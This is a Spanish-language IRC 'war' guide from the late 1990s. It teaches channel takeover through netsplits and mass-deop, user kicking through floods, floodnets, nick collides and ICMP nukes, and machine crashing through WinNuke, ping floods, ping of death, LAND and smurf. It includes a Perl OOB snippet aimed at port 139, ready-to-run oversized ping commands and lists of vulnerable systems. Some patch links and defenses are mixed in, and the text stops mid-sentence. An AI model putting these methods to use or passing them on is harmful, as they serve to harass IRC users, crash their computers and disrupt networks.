Todo lo que aquí
se hable es extensible en general a cualquier red IRC. No obstante en algunos
casos muy particulares me referiré a la red IRC hispana ("*.irc-hispano.org").
Ni que decir tiene que la información que se proporciona aquí
es con fines educativos; en ningún caso debe ser usada salvo en
circunstancias excepcionalmente justificadas. Un uso abusivo puede significar
una k/g-line totalmente merecida. Yo no me hago responsable de un
posible mal uso de esta info.
Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, de forma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, éste (el servidor) lo notifica a los demás servidores que forman parte de la red IRC. Igualmente, cualquier otra acción es notificada a todos los servidores, de forma que éstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque físicamente sólo esté conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno sólo.
La estructura
de la red IRC es en forma de árbol (es decir, no puede haber bucles,
o "caminos cerrados": partiendo de un nodo no se llegue por ningún
camino otra vez a dicho nodo) aunque un tanto especial: cada nodo se ve
a sí mismo como el nodo raiz de la red y tiene un grafo en forma
de árbol que le indica el camino a seguir para alcanzar cada uno
de los restantes nodos. En la "literatura" esto se conoce como "spanning
tree", que podríamos traducir como "árbol de expansión".
Esto quiere decir que en un momento determinado un nodo cualquiera tendrá
almacenada información para alcanzar cada uno de los otros nodos
de forma unívoca (tiene un único camino posible hacia cada
nodo). Esa información sería el árbol que está
usando el nodo en cuestión. Pero además este árbol
puede ser distinto para el mismo nodo en un instante diferente, es decir,
puede cambiar (digamos que el nodo va reconfigurándose). Esto tiene
la ventaja de que permite adaptarse a posibles variaciones (eventuales)
de la topología de la red (así, si un nodo cae, los restantes
nodos lo detectarán y se reconfigurarán de forma que los
caminos que antes pasaban por dicho nodo dejen de hacerlo: se tomarían
caminos alternativos con lo cual la red seguiría funcionando correctamente
a pesar de la caida del nodo). Un ejemplo de topología de red podría
ser:
[ Server 15 ] [ Server 13 ] [ Server 14]
/
\ /
/
\ /
[ Server 11 ] ------
[ Server 1 ] [ Server 12]
/ \
/
/ \
/
[ Server 2 ] [ Server
3 ]
/ \
\
/ \
\
[
Server 4 ] [ Server 5 ]
[ Server 6 ]
/ | \
/
/
| \
/
/
| \____
/
/
| \
/
[ Server 7 ] [ Server 8 ] [ Server 9 ] [ Server
10 ]
:
[ etc. ]
:
El paso de un nodo a otro adyacente se conoce como "hop" (salto). Así para alcanzar el nodo 5 partiendo de 4 tendremos que dar 2 saltos (hops): uno de 4 a 2 y otro de 2 a 5.
Podemos visualizar el árbol que está usando el server al que estamos conectados usando el comando "/links". Este sacará un listado por pantalla de los servidores alcanzables desde el nuestro, de forma jerarquizada, es decir, respetando la estructura del árbol. Normalmente se indica entre paréntesis al lado de cada servidor el número de hops que habría que dar para alcanzar cada uno de los nodos partiendo del nuestro.
Cuando se rompe uno de los eslabones (links) que unen 2 servidores el conjunto se divide en 2 subconjuntos, los cuales intentarán seguir funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto permanece operativo y mantiene la comunicación entre los servers pertenecientes a dicho subconjunto. Pero por razones obvias los servidores de un subconjunto no ven a los del otro y viceversa. Esta situación se conoce como net-split.
En una sesión normal de IRC esto lo veríamos:
[1:23] *** Case_Zer0 has quit IRC (fuego.irc-hispano.org io.irc-hispano.org)
Esto indica que se han spliteado los dos servidores indicados entre paréntesis y que a consecuencia de ello el usuario Case_Zer0 [ hi Case ;-) ] ha salido "de nuestra red IRC" (lo que está ocurriendo es que se encuentra en el otro subconjunto de servidores: a todos los efectos es que como si se encontrase ya en otra red IRC).
Cuando el enlace caido se recupera (i.e. se reestablece la comunicación entre los servers spliteados) se habla de net-merge. Esto se vería en la sesión anterior como un "join" por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario).
Hay programas que detectan y avisan cuando se produce algún net-split o net-merge: son los denominados "link-lookers", y su utilidad es bastante obvia.
Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estaría aislado de la red. Los usuarios de dicho servidor dejarían de ver a todos los demás pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 está spliteado. Es fácil reconocer a un servidor en esta situación: si entras en una red a través de un determinado servidor y te encuentras a muy poca gente es muy normal que se deba a que está spliteado de la red.
Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero también lo hacen los servidores 13 y 14 indirectamente, por conectarse a través del primero.
Para una información
completa del funcionamiento y estructura de una red IRC, y del protocolo
subyacente ("Internet Relay Chat Protocol") os remito al RFC1459.
- Esperar un split
(lo podemos detectar con un link-looker).
- Entrar (conectar)
al servidor spliteado.
- /join #canal (donde
canal
es el canal donde queremos conseguir op).
- El server creará
un nuevo canal y tendrás el op.
- Esperar a que se
deshaga el split.
Si "hay suerte" (leer más abajo), al deshacerse el split conservaremos el op en los restantes servidores (el servidor spliteado se encarga de dar las órdenes correspondientes). Entonces se dice que hemos llevado a cabo un "net-hack". Los usuarios presentes en el canal en el que hemos llevado a cabo la acción verán algo como:
[1:41] *** irc.i3d.es sets mode: +o RoMaNSoFt
(donde el servidor que nos da op es el que antes estaba spliteado).
Esto no siempre funcionará porque hay aspectos que todavía no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habréis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionaría) ya que al entrar nosotros por el server spliteado veríamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los "esconde" el split) y por tanto el server no nos dará el op, como es habitual al entrar en cualquier canal ya existente.
También hay
que tener en cuenta que actualmente todos los servidores tienen protecciones
anti-nethack. En este caso, al deshacerse el split, los restantes servidores
te quitarán el op a tí en vez de ser al contrario (imponer
tu op en los restantes servers), protegiendo al canal PERO ésto
lo harán únicamente en caso de que ya hubiera ops en el canal
antes de tu intento de net-hack (aunque hay veces en que el server se equivoca
y mantiene tu op, quitándoselo a los demás). Es decir, que
el net-hack funcionará sólo para canales donde no haya op
("opless channels"). Por esta razón, si queremos el op, necesitaremos
tirar
previamente a los ops (echarlos del canal, de forma que pierdan su op)
para luego llevar a cabo el net-hack. ¿Cómo tirarlos? De
esto nos encargaremos más adelante, sigue leyendo };-)
Para la primera alternativa
entra en juego tu "don de la palabra": trata de hacerte amigo de algún
op para que éste te lo pase. En ese momento ya estás capacitado
para quitarle el op a todos los demás ("mass-deop") y quedarte
con el canal. Esto lo hacen automáticamente muchos scripts ("automatic-deop"):
nada más darte el op el script automáticamente deopea a todos
los ops (excepto a tí, claro).
Cuando un cliente supera el límite preestablecido por el servidor, éste cierra la conexión con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo "explica" así:
[1:59] *** _^TkLaS^_ has quit IRC (Excess Flood)
Un flood, en general, no es otra cosa que mandar mucha información en poco tiempo a alguien para intentar que se sature. Se puede floodear una dirección IP, ..., o lo que ahora nos concierne: un servidor de IRC.
La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de información a nuestra víctima, de forma que ésta, al contestar, supere el límite del servidor y éste lo eche. Por ejemplo, si le mandamos muchos /ctcp version's seguidos (requiriendo información sobre el programa cliente que está utilizando) la víctima floodeará al servidor cuando conteste porque mandará muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticionó, i.e., al atacante).
En esto del flood juega un papel muy importante el número de peticiones que se reciben en un pequeño intervalo de tiempo. Cuantas más se reciban, más posibilidades hay de que el flood tenga éxito. Por ello no es ninguna tontería mandar peticiones desde varios puntos a la vez, y no desde uno sólo, es decir, varios usuarios (¡que podrían ser una misma persona!) de la red IRC manden peticiones a la víctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma dirección IP) se habla de clones. Por tanto, una posible forma de ataque sería crearnos muchos clones y peticionar a la vez desde todos ellos a la víctima.
Pero los servidores también suelen estar preparados para evitar muchos clones (cada clone ocupa, por decirlo de alguna manera, una "linea" de entrada al servidor, y esto consume recursos del mismo). Suele haber un máximo permitido (en el irc hispano es 2) denegándosele el acceso a la red a un tercer clone, o en caso de que éste lo consiguiese expulsándosele del servidor ("matándolo") (el programa servidor revisa periódicamente las IP's conectadas y detecta cuando hay varios usuarios con una misma dirección IP):
[1:32] *** _^Virus^_ has quit IRC (Killed (Clones!))
Se puede cambiar el número máximo de clones admisibles desde una determinada dirección IP o dominio añadiendo una I-Line al servidor IRC (en caso de no existir I-Line para esa dirección IP en particular se usa el máximo genérico definido). Esto lo debe hacer algún administrador de la red IRC y es lo que habitualmente se usa para dar acceso a entidades con muchos ordenadores accediendo a Internet desde una misma IP (como es el caso de la mayoría de cyber-cafés).
¿Cómo provocar un flood con más de 2 clones entonces? La respuesta es simple: en principio no se puede. ¿Entonces? Pues la solución es que varias personas distintas se pongan de acuerdo para atacar a la vez a la víctima. Cada persona podría tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (víctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serían A.1, A.2, B.1, B.2, C.1 y C.2. Pero hay un problema: ¿cómo sincronizarse para atacar? ¿Cómo "ponerse de acuerdo" para mandar las peticiones en un determinado momento? Para esto existe lo que se denomina "floodnet" que, como habrá adivinado nuestro ávido lector, es una "red" (asociación) de gente cuyo único objetivo es floodear a alguien. La ventaja que tiene es que la sincronización entre los distintos componentes de la floodnet es automática (lo hacen los scripts) lo cual resuelve el problema anterior. También existe lo que se denomina "botnet" y que es análogo a la floodnet pero usando bots (no confundir con los "de servicio"; estos últimos los ponen los servers de la red irc y no los usuarios) los cuales serán lanzados desde alguna shell Unix (intérprete de comandos en una máquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados:
[1:32]
*** Viernes13 has quit IRC (Killed (You are not welcome to this network!))
Hoy en día tanto los programas clientes de IRC como los scripts implementan protecciones anti-flood que dificultan enormemente el éxito de un ataque de tipo flood. Por ejemplo, cuando detectan varias peticiones seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no inmediatamente, con lo cual se evita el flood.
También hay
técnicas de flood bastante optimizadas (por ejemplo, usando una
floodnet)
aunque en general un ataque flood no suele ser demasiado eficiente y es
más costoso lograr su éxito que con algunas de las técnicas
que se describen a continuación.
El resultado de un
nick
collide depende del servidor (ircd). En servidores antiguos
(sin protección) el collide se resuelve matando a los dos
usuarios con mismo nick (¡ambos!). En otros más inteligentes
(con protección) el servidor guarda información acerca de
los usuarios y puede saber que usuario tiene el nick con mayor antigüedad
(i.e. quién se lo puso antes), matando únicamente al usuario
con el nick más reciente (protegiendo al usuario más "veterano").
- Esperar un split.
- Entrar (conectar)
al servidor spliteado.
- Ponerse como nick
el de la víctima.
- Esperar a que se
deshaga el split.
Si todo va bien (el
servidor no tiene protección), a la vuelta del split se detectará
el collide y se matarán tanto al atacante como a la víctima.
Lógicamente nuestro usuario atacante será un clone nuestro,
con lo cual no pasa nada si es killeado.
Los pasos serían los siguientes:
- Meter un clone en
el servidor lageado.
- Esperar a que la
víctima cambie de nick (esto lo detectamos desde otro servidor
no
lageado).
- Cambiar rápidamente
el nick de nuestro clone y ponerle el que se acaba de poner la víctima
(el nuevo).
- Esperar al lag.
;)
Lo que ocurre es que
nuestra orden de cambiar el nick para nuestro clone llega antes al servidor
(lageado) que la orden de cambio de nick de la víctima debido a
que nuestra orden va directamente de nuestro cliente al servidor lageado
mientras que la otra va a través de la red IRC (donde hemos supuesto
que se introduce un lag notable). Esto hace que el servidor (lageado) tome
a nuestro clone como "dueño" legítimo del nick y mande un
kill al otro (la víctima). Esto ocurriría en caso de servidores
protegidos; si es no protegido el resultado es que ambos mueren, resultado
también aceptable, pues hemos acabado con nuestro objetivo. };-)
Una conexión IRC (cliente-servidor, que es lo que nos interesa) utiliza el protocolo TCP (nivel 4 [transporte] en la torre OSI), el cual se apoya sobre IP (nivel 3 [red]). IP se encarga, entre otras cosas, de hacer el rutado de paquetes ("datagramas IP"), es decir, dado un destino ir enviando los paquetes por el camino apropiado hasta alcanzar el host destino. TCP no ve nada de esto, tan sólo el destino directamente (manda los segmentos TCP directamente al destino), porque IP lo oculta (hace que el rutado sea transparente a TCP). Lógicamente para que un protocolo de nivel superior funcione correctamente, también deberán hacerlo todos los que estén por debajo. En particular, para que nuestra conexión TCP (IRC) se mantenga "viva", IP debe funcionar perfectamente. Y aquí es donde interviene ICMP: se encarga de informar de posibles anomalías que se han producido en el nivel 3 (IP), como por ejemplo, "host unreachable", que significaría que no se ha podido alcanzar el host (el paquete IP ha ido dando saltos ["hops"] de un nodo a otro, hacia el destino, y ha llegado un momento en el que un determinado nodo intermedio no sabía qué hacer con él o ha expirado el tiempo de vida de dicho paquete). En este caso, el paquete que informa del error (ICMP) lo envía el nodo intermedio que se ha dado cuenta del error hacia el "remitente" que lanzó el paquete original (que no se ha podido entregar a su destinatario). Los mensajes ICMP se situan dentro del campo de datos de un datagrama IP y se envían exactamente igual que si fueran datos IP (no son prioritarios). No es objetivo de este escrito tratar más a fondo este tema (para los interesados les aconsejo el libro "Internetworking with TCP/IP, vol I", de Douglas E. Comer, disponible en castellano ya en su tercera edición).
Resumiendo: mediante ICMP informamos de que IP ha fallado, y por tanto, también los niveles superiores como TCP.
Comprendiendo lo anterior ya se puede intuir en qué consiste el ICMP nuke: mandar mensajes ICMP falseados, engañando al destino, haciéndole creer que el otro extremo ha detectado un error y por tanto, provocando un "cierre" de la comunicación. Vamos a explicar un poco mejor ésto.
En una conexión siempre tenemos dos extremos, lo que da dos posibilidades a la hora de engañar, según lo hagamos a uno u otro. En el caso de una conexión IRC, podemos llevar a cabo dos formas de ataque:
* Server nuking (nukear al server): los mensajes ICMP se mandan al servidor IRC, haciéndole creer que se ha producido un error al intentar comunicarse con el cliente. Como respuesta a este mensaje el server cierra la conexión que tenía con dicho cliente. El efecto producido es la "expulsión" del usuario por parte del servidor.
* Client nuking (nukear al cliente): esta vez se envían los ICMP's al cliente; éste cree que el servidor no está disponible y cierra la conexión (el cliente). El servidor no sabe nada en principio, pero detecta el cierre de conexión por parte del cliente, dando el correspondiente error y cerrando también la conexión por su parte.
En teoría las dos fomas de nuking son perfectamente válidas y eficientes, aunque hay que tener ciertas consideraciones en cuenta, como son:
- tanto servidor como cliente
pueden tener protección anti-nuke y puede ser necesario atacar uno
porque el otro esté protegido (ver más adelante).
- si atacas a un cliente,
éste puede detectar quién le está atacando con un
simple analizador de paquetes IP o tracer, y también podría
responder con otro ataque de este o cualquier otro tipo (cuidado con quién
te metes ;-)).
- si atacas al servidor,
el cliente no tiene manera de saber quién le ha "atacado" porque
los mensajes ICMP no le han llegado a él sino al servidor (ventaja);
pero por otro lado, el servidor sí sabe quién ha hecho el
ataque y puede resultar en una K/G-Line a dicho usuario por parte del servidor
(el usuario podría ser baneado de toda la red de IRC).
- los inconvenientes de
los dos puntos anteriores pueden ser solventados falseando la dirección
origen de los mensajes ICMP que se envían. Esta técnica se
conoce como "spoofing" (ver punto 4).
Hay diversos tipos de error ICMP que se pueden utilizar a la hora de hacer un nuke. En cuanto a la información práctica de cómo utilizar un nuker (programa "nukeador"), debemos tener en cuenta que además de suministrarle el tipo de error que se desea producir, juegan un papel muy importante los puertos, tanto origen como destino, que se elijan.
Una conexión IRC (TCP) queda definida unívocamente por los pares dirección IP origen-puerto origen y dirección IP destino-puerto destino. Estos datos son los que hay que suministrarles al programa nukeador. Puertos típicos del servidor de IRC (será el puerto destino en caso de server nuking o el fuente si se trata de un client nuking) son 6665-9, 4400-6, 7000 y 7777. En realidad cada servidor IRC tiene unos puertos oficialmente reconocidos (que son conocidos públicamente: los podemos leer en el motd ["mensaje del dia"] al entrar en el IRC) y otros que podríamos denominar como privados, y que se usan por ejemplo para las conexiones entre los distintos servidores que forman la red. Un usuario puede estar usando uno de estos puertos "fantasmas" (aunque el servidor también puede limitar el acceso a estos puertos) para esconderse de nukes, puesto que necesitamos conocer este dato para que el nuke sea efectivo.
También necesitamos conocer el puerto del cliente, aunque esto es más difícil porque varía mucho (no son fijos como en el caso anterior) dependiendo del sistema operativo que esté corriendo dicho cliente, los puertos que ya tuviera ocupados antes de establecer la conexión IRC, étc. Lo normal es hacer un barrido de estos puertos empezando por el 1024 (hay puertos que por convenio siempre se asignan a determinadas tareas y no se pueden usar arbitrariamente con lo cual no necesitamos barrerlos) y acabando en 4000, por ejemplo, aunque podría ser necesario aumentar este número.
Es también muy útil utilizar un "port-scan": programa que va probando los distintos puertos de una dirección IP (destino) dada e informa de la respuesta recibida para cada uno de dichos puertos (así podemos saber, por ejemplo, qué puertos de un servidor están dedicados a aceptar conexiones IRC).
A continuación transcribo mensajes típicos de salida de nuestras potenciales víctimas en una sesión típica de IRC:
[1:42]
*** aRmiTaGe has quit IRC (Read error to aRmiTaGe[ig-183.arrakis.es]: Connection
reset by peer)
[1:13]
*** KoNtRoL has quit IRC (Read error to KoNtRoL[195.76.99.76]: EOF from
client)
[3:17]
*** BrOKeNn has quit IRC (Read error to BrOKeNn[194.224.57.171]: Protocol
not available)
[5:25]
*** Eli has quit IRC (Read error to Eli[info760.jet.es]: Network is unreachable)
[5:26]
*** Eli has quit IRC (Read error to Eli[info760.jet.es]: Machine is not
on the network)
[4:20]
*** vp has quit IRC (Read error to vp[ia-176.arrakis.es]: Connection refused)
[2:41]
*** Estrayk has quit IRC (Read error to Estrayk[ctv3011.ctv.es]: No route
to host)
La protección
anti-nuke, a grosso modo, pasa por ignorar los mensajes ICMP que lleguen,
aunque ésto ya está limitando el propio funcionamiento del
protocolo IP, en el sentido de que ICMP es parte integrante de IP y no
se debería inhibir (¿qué ocurriría si llega
un mensaje "de verdad" y es ignorado?). Se puede llevar a cabo más
o menos "finamente": por ejemplo descartar solo los ICMP's de un tipo y
no todos los posibles. Se podría lograr con un firewall (software
o hardware encargado de filtrar los paquetes provinientes de la red en
base a una reglas previamente definidas) convenientemente configurado.
La forma de protegerse es cerrar los puertos por los que nos puedan atacar (el 139 principalmente) o aplicar algún parche al SO para quitarnos el bug. Otra solución menos recomendable es la que llevan a cabo algunos ISPs (proveedores de Internet), y que consiste en filtrar todos los paquetes dirigidos al puerto 139 (inconveniente: nos están dejando inoperativo ese puerto). Hoy en día es muy popular este bug y normalmente está ampliamente parcheado (aunque siempre habrá algún que otro despistado que no lo tenga instalado }=)).
Como hemos dicho, este ataque no sólo consigue echar a la víctima del server sino que además le deja colgado el ordenador (tendrá que hacer un reboot), lo que lo hace especialmente peligroso. La víctima saldrá del IRC con un mensaje de tipo ping-timeout como:
[19:56] *** Goku has quit IRC (Ping timeout for Goku[system.tech.arrakis.es])
Aquí teneis una curiosa muestra en PERL de cómo implementar el ataque (autor: Randal Schwartz):
#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);
* Puedes encontrar información
oficial sobre el bug y links a los parches correspondientes (Win95 y NT)
en:
http://premium.microsoft.com/support/kb/articles/q168/7/47.asp
La manera de usar esto de forma ofensiva consiste en mandar más pings a un usuario de los que su máquina pueda contestar, saturándole su conexión a Internet. Por tanto se debe de hacer desde un enlace más potente que el que pretendemos atacar.
Lo típico es que la víctima esté en su casa y tenga un modem. Por tanto, necesitamos una conexión a inet más rápida que eso. Lo normal es atacar desde una máquina ubicada ya en la red (conectada mediante ATM, FDDI, ...). Por ejemplo, puede valer la cuenta de la Universidad ;-). La forma de hacerlo sería abriéndonos un shell y tecleando:
$ ping -s 32000 <direcc. IP>
(la sintaxis puede variar ligeramente según sistema operativo).
Los paquetes que se envían al hacer ping son típicamente muy pequeños. Con el modificador -s estamos forzando un nuevo tamaño (32000 bytes es aceptable; también podeis probar con 64000).
Pensad: un modem de 28.8 tardará unos 18 segs. en recibir 64 Kbytes (sin considerar compresión), mientras que desde nuestra shell lo hemos mandado en ¡¡décimas de segundo!! Si consideramos además que el comando ping manda más de un paquete (los que queramos) ... ¡boom! Tendréis el modem de vuestra víctima trabajando a toda pastilla para nada y fastidiándole todo lo que esté haciendo. En particular, le estropearéis su conexión al IRC: en el mejor de los casos la víctima tendrá un lag horroroso y en el peor será expulsada del servidor por "ping time-out".
Desgraciadamente la
solución
para evitar este ataque no suele ser fácil ya que no se trata de
un bug que se pueda parchear sino de la propia mecánica de los protocolos
TCP/IP. Aconsejo usar un bouncer localizado en una máquina
potente capaz de absorber el ataque.
> ping -l 65510 host.victima
Nótese que este
comando se refiere exclusivamente a Windows antiguos. Así, por ejemplo,
no funciona en NT 4.0 (da como error "valor incorrecto para la opción
-l" ya que el máximo ping que puede lanzar es de longitud
65500), pero sí en versiones más antiguas y sin parchear.
También se puede lanzar desde Unix'es no demasiado antiguos.
Hoy en día este ataque está ampliamente superado y he decidido incluirlo en el documento por "razones históricas" :-). Aunque todavía es posible encontrar máquinas muy antiguas vulnerables a este ataque.
También es posible
en la actualidad atacar algún Windows desde un Linux, p.ej.
Un bug de este tipo es viejo conocido de los sistemas UNIX (el ataque se conocía como "ping of death"); pero la novedad es que ahora lo sufren los Windows. Aunque son cosas técnicamente diferentes, la forma de proceder a la hora de atacar es análoga a OOB: solo hay que saber la dirección IP de la víctima y ¡boom!: le dejamos colgado el ordenador.
La solución
pasa por parchear el S.O. En particular, este bug parece que no afecta
al Trumpet Winsock así que si lo usais estareis protegidos.
* La solución
a este bug pasa por parchear o actualizar nuestro S.O, a saber:
- Linux: actualizar el kernel
a 2.0.32 o superior.
- Windows 95 y NT: información
y parches disponibles en:
http://premium.microsoft.com/support/kb/articles/q154/1/74.asp
ftp://ftp.microsoft.com/bussys/winnt/kb/Q154/1/74.TXT
http://premium.microsoft.com/support/kb/articles/q174/0/95.asp
Me parece que en Windows
95 basta con los siguientes parches (pero no os fieis demasiado, no los
he probado):
http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe
http://support.microsoft.com/download/support/mslfiles/Vipup11.exe
(para Winsock 1.1)
http://support.microsoft.com/download/support/mslfiles/Vipup20.exe
(para Winsock 2)
(se recomienda hacer un backup
de los ficheros vip.386, vtcp.386 y vnbt.386 antes
de aplicar los parches, por lo que pudiera pasar).
Este bug afecta a una gran variedad de sistemas (routers incluídos). Una lista bastante completa (pero nunca al 100%) de sistemas afectados es la siguiente:
AIX
3
IS vulnerable
AIX
3.2
NOT vulnerable
AIX
4
NOT vulnerable
AIX
4.1
NOT vulnerable
AIX
4.2.1
NOT vulnerable
AmigaOS
AmiTCP 4.0demo
NOT vulnerable
AmigaOS
AmiTCP 4.2 (Kickstart 3.0) IS vulnerable
AmigaOS
Miami 2.0
NOT vulnerable
AmigaOS
Miami 2.1f
NOT vulnerable
AmigaOS
Miami 2.1p
NOT vulnerable
AmigaOS
Miami 2.92c
NOT vulnerable
BeOS
Preview Release 2 PowerMac
IS vulnerable
BSDI
2.0
IS vulnerable
BSDI
2.1 (vanilla)
IS vulnerable
BSDI
2.1 (K210-021,K210-022,K210-024) NOT vulnerable
BSDI
3.0
NOT vulnerable
DG/UX
R4.12
NOT vulnerable
Digital
UNIX 3.2c
NOT vulnerable
Digital
UNIX 4.0
NOT vulnerable
Digital
VMS ???
IS vulnerable
FreeBSD
2.1.6-RELEASE
NOT vulnerable
FreeBSD
2.2.2-RELEASE
NOT vulnerable
FreeBSD
2.2.5-RELEASE
IS vulnerable
FreeBSD
2.2.5-STABLE
IS vulnerable (fixed)
FreeBSD
3.0-CURRENT
IS vulnerable (fixed)
HP
External JetDirect Print Servers IS vulnerable
HP-UX
9.03
NOT vulnerable
HP-UX
10.01
NOT vulnerable
HP-UX
10.20
NOT vulnerable
IBM
AS/400 OS7400 3.7
IS vulnerable (100% CPU)
IRIX
5.2
IS vulnerable
IRIX
5.3
IS vulnerable
IRIX
6.2
NOT vulnerable
IRIX
6.3
NOT vulnerable
IRIX
6.4
NOT vulnerable
Linux
1.2.13
NOT vulnerable
Linux
2.1.65
NOT vulnerable
Linux
2.0.30
NOT vulnerable
Linux
2.0.32
NOT vulnerable
MacOS
MacTCP
IS vulnerable
MacOS
OpenTransport 1.1.1
NOT vulnerable
MacOS
7.1p6
NOT vulnerable
MacOS
7.5.1
NOT vulnerable
MacOS
7.6.1 OpenTransport 1.1.2
IS vulnerable (not a compleate lockup)
MacOS
8.0
IS vulnerable (TCP/IP stack crashed)
MVS
OS390 1.3
NOT vulnerable
NetApp
NFS server 4.1d
IS vulnerable
NetApp
NFS server 4.3
IS vulnerable
NetBSD
1.1
IS vulnerable
NetBSD
1.2
IS vulnerable
NetBSD
1.2a
IS vulnerable
NetBSD
1.2.1
IS vulnerable (fixed)
NetBSD
1.3_ALPHA
IS vulnerable (fixed)
NeXTSTEP
3.0
IS vulnerable
NeXTSTEp
3.1
IS vulnerable
Novell
4.11
IS vulnerable (100% CPU for 30 secs)
OpenBSD
2.1
(conflicting reports)
OpenBSD
2.2
NOT vulnerable
OpenVMS
7.1 with UCX 4.1-7
IS vulnerable
OS/2
3.0
NOT vulnerable
OS/2
4.0
NOT vulnerable
QNX
4.24
IS vulnerable
Rhapsody
Developer Release
IS vulnerable
SCO
OpenServer 5.0.2 SMP
IS vulnerable
SCO
OpenServer 5.0.4
IS vulnerable (kills networking)
SCO
Unixware 2.1.1
IS vulnerable
SCO
Unixware 2.1.2
IS vulnerable
Salaris
2.4
NOT vulnerable
Solaris
2.5.1
NOT vulnerable
Solaris
2.5.2
NOT vulnerable
Solaris
2.6
NOT vulnerable
SunOS
4.1.3
IS vulnerable
SunOS
4.1.4
IS vulnerable
Ultrix
???
NOT vulnerable
Windows
95 (vanilla)
IS vulnerable
Windows
95 + Winsock 2 + VIPUPD.EXE IS vulnerable
Windows
NT (vanilla)
IS vulnerable
Windows
NT + SP3
IS vulnerable
Windows
NT + SP3 + simptcp-fix
IS vulnerable
Some misc stuff:
3Com
Accessbuilder 600/700
NOT vulnerable
3Com
LinkSwitch 1000
NOT vulnerable
3Com
OfficeConnect 500
NOT vulnerable
3Com
SuperStack II Switch 1000
IS vulnerable
Adtran
TSU Rack
NOT vulnerable
Apple
LaserWriter
IS vulnerable
Ascend
4000 5.0Ap20
NOT vulnerable
Ascend
Pipeline 50 rev 5.0Ai16
NOT vulnerable
Ascend
Pipeline 50 rev 5.0Ap13
NOT vulnerable
BayNetworks
MARLIN 1000 OS (0).3.024(R) NOT vulnerable
BinTec
BIANCA/BRICK-XS 4.6.1 router IS vulnerable
Cisco
Classic IOS < 10.3, early 10.3, 11.0, 11.1, and 11.2 IS vulnerable
Cisco
IOS/700
IS vulnerable
Cisco
Catalyst
IS vulnerable
Digital
VT1200
IS vulnerable
Farallon
Netopia PN440
NOT vulnerable
HP
Envizex Terminal
IS vulnerable
LaserJet
Printer
NOT vulnerable
Livingston
Office Router (ISDN) IS
vulnerable
Livingston
PM ComOS 3.3.3
NOT vulnerable
Livingston
PM ComOS 3.5b17 + 3.7.2 NOT vulnerable
Livingston
PM ComOS 3.7L
NOT vulnerable
Livingston
PM ComOS 3.7.2
NOT vulnerable
Livingston
Enterprise PM 3.4 2L NOT
vulnerable
Livingston
T1/E1 OR
IS vulnerable
Milkyway
Blackhole Firewall 3.0 (SunOS) IS vulnerable
Milkyway
Blackhole Firewall 3.02(SunOS) IS vulnerable
NCD
X Terminals, NCDWare v3.1.0
IS vulnerable
NCD
X Terminals, NCDWare v3.2.1
IS vulnerable
Netopia
PN440 v2.0.1
IS vulnerable
Proteon
GT60
NOT vulnerable
Proteon
GT60Secure
NOT vulnerable
Proteon
GT70
NOT vulnerable
Proteon
GT70Secure
NOT vulnerable
Proteon
GTAM
NOT vulnerable
Proteon
GTX250
NOT vulnerable
Proteon
RBX250
NOT vulnerable
Sonix
Arpeggio
NOT vulnerable
Sonix
Arpeggio +
NOT vulnerable
Sonix
Arpeggio Lite
NOT vulnerable
* Información y parches
para NT:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/land-fix/Q165005.txt
* Información y parches
para Win95:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/land-fix/Q177539.TXT
* Como siempre, para evitar
este ataque tenemos que aplicar los correspondientes parches:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/teardrop2-fix/
Desgraciadamente la víctima no puede hacer nada para evitarlo. La solución está en manos de los administradores de red, los cuales deben configurar adecuadamente sus routers para filtrar los paquetes ICMP de petición indeseados (broadcast) o bien configurar sus máquinas para que no respondan a dichos paquetes. Es decir, que lo que se parchea son las máquinas/redes que puedan actuar de intermediarias (inocentes) en el ataque y no la máquina víctima.
De igual forma también
se podría evitar el ataque si el router/firewall de
salida del atacante (p.ej. el ISP al que pertenece) estuviera convenientemente
configurado para evitar spoofing. Esto se haría filtrando
todos los paquetes de salida que tuvieran una dirección source
(origen) que no perteneciera a la red interna (desde la cual salimos).
Para más información
sobre "smurf" os remito a:
http://www.quadrunner.com/~c-huegen/smurf.txt
También podeis
echar un vistazo a listas de redes mal configuradas y que pueden "colaborar"
con nosotros para lanzar el ataque. Son lo que podemos llamar "smurf
amplifiers". Se hacen públicas para poner en evidencia a los
administradores de dichas redes y que éstos no tengan más
remedio que parchearlas. Toma nota:
http://netscan.org
http://www.powertech.no/smurf/
("Smurf Amplifier Registry")
A continuación
teneis el programa original que da nombre al ataque. Este ataca al puerto
